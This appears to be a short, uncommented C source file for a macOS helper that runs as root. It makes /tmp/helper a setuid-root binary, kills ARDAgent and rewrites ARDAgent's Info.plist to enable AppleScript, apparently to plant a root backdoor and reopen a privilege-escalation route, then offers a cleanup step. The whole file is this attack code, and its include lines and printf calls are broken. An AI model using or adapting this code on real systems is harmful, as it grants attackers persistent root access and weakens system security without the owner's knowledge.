#include 
#include 
#include 

int main(int argc, char *argv[]) {
	if (!strcmp(argv[1], "fixperms")) {
		setuid(0); setgid(0);
		printf("UID is:", geteuid());
		system("/usr/sbin/chown root:wheel /tmp/helper");
		system("/bin/chmod u+s /tmp/helper");
		system("/bin/chmod +x /tmp/helper");
	} else if (!strcmp(argv[1], "fixarg")){
		setuid(0); setgid(0);
		printf("UID is:", geteuid());
		system("/usr/bin/killall ARDAgent");
		system("/usr/bin/touch /Library/Preferences/com.apple.RemoteManagement.launchd");
		system("/usr/sbin/chown root:wheel /Library/Preferences/com.apple.RemoteManagement.launchd");
		system("/bin/chmod 644 /Library/Preferences/com.apple.RemoteManagement.launchd");
		system("/usr/bin/defaults write /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info NSAppleScriptEnabled YES");
		system("/usr/bin/plutil -convert xml1 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist");
		system("/bin/chmod 644 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist");
	} else if (!strcmp(argv[1], "clean")) {
		setuid(0); setgid(0);
		remove("/tmp/helper");
	}
}